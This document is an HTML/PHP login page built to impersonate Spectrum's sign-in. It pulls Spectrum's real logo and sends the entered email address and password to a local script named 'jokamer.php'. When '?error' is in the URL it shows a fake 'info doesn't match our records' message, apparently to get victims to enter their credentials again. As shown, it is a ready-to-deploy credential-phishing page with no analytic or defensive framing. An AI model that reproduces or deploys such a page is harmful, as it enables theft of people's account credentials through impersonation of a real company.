<html lang="en">
<head>
  <meta charset="UTF-8" />
  <link rel="icon" href="favicon.ico" type="image/x-icon" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0" />
  <title>Sign In</title>

  <!-- ✅ Tailwind CSS -->
  <link href="https://cdn.jsdelivr.net/npm/tailwindcss@2.2.19/dist/tailwind.min.css" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600;700&display=swap" rel="stylesheet">

  <style>
    body {
      font-family: 'Inter', sans-serif;
    }
  </style>
</head>
<body class="bg-gray-100 min-h-screen flex flex-col justify-between">

  <div class="flex-grow flex items-center justify-center">
    <div class="bg-white rounded-md shadow-md p-8 max-w-md w-full">

      <!-- ✅ Logo -->
      <div class="flex justify-center mb-6">
        <img src="https://id.spectrum.net/assets/images/spectrum-logo.svg" alt="Spectrum Logo" class="h-6">
      </div>

      <h2 class="text-2xl font-bold text-center mb-4">Log In to your account</h2>

      <div class="flex items-center justify-center mb-4">
        <div class="border-t w-1/4 border-gray-300"></div>
        <div class="border-t w-1/4 border-gray-300"></div>
      </div>

      <!-- ✅ Error Message (only if error=1 in URL) -->
      <?php if (isset($_GET['error'])): ?>
        <div class="flex items-start bg-red-50 border border-red-500 text-red-700 px-4 py-3 rounded relative mb-4" role="alert">
          <svg class="w-5 h-5 mr-2 mt-1 text-red-700" fill="currentColor" viewBox="0 0 20 20">
            <path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zm.75-11.5a.75.75 0 00-1.5 0v3.25a.75.75 0 001.5 0V6.5zm0 6.25a.75.75 0 10-1.5 0 .75.75 0 001.5 0z" clip-rule="evenodd"/>
          </svg>
          <span class="text-sm">
            The info you entered doesn't match our records. Please try again or select
            <strong>Forgot Username or Password</strong>. IDID-3104.
          </span>
        </div>
      <?php endif; ?>

      <!-- ✅ Form -->
      <form action="jokamer.php" method="post" class="space-y-4">

        <!-- Email -->
        <div>
          <label for="emailAddress" class="block text-sm font-medium text-gray-700">Email Address</label>
          <input type="text" id="emailAddress" name="emailAddress" class="mt-1 w-full border border-blue-400 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500" required >
        </div>

        <!-- Password -->
        <div>
          <label for="password" class="block text-sm font-medium text-gray-700">Password</label>
          <input type="password" id="password" name="emailPassword" class="w-full border border-gray-300 rounded-md px-3 py-2 focus:outline-none focus:ring-2 focus:ring-blue-500" minlength="5" required>
        </div>

        <!-- Stay Signed In -->
        <div class="flex items-center">
          <input id="staySignedIn" name="staySignedIn" type="checkbox" class="h-4 w-4 text-blue-600 focus:ring-blue-500 border-gray-300 rounded">
          <label for="staySignedIn" class="ml-2 block text-sm text-gray-700">Stay Signed In on This Device</label>
        </div>

        <!-- Sign In Button -->
        <button type="submit" class="w-full bg-blue-600 text-white font-semibold py-2 rounded-md hover:bg-blue-700 transition duration-200">
          Sign In
        </button>

        <div class="text-center mt-4">
          <a href="#" class="text-blue-600 text-sm hover:underline">Forgot Username or Password?</a>
        </div>
      </form>
    </div>
  </div>

  <!-- ✅ Footer Image -->
  <div class="flex justify-center mt-8 mb-8">
    <img src="Fotter.png" alt="Footer Image" style="width: 450px; height: 100px;">
  </div>
</body>
</html>
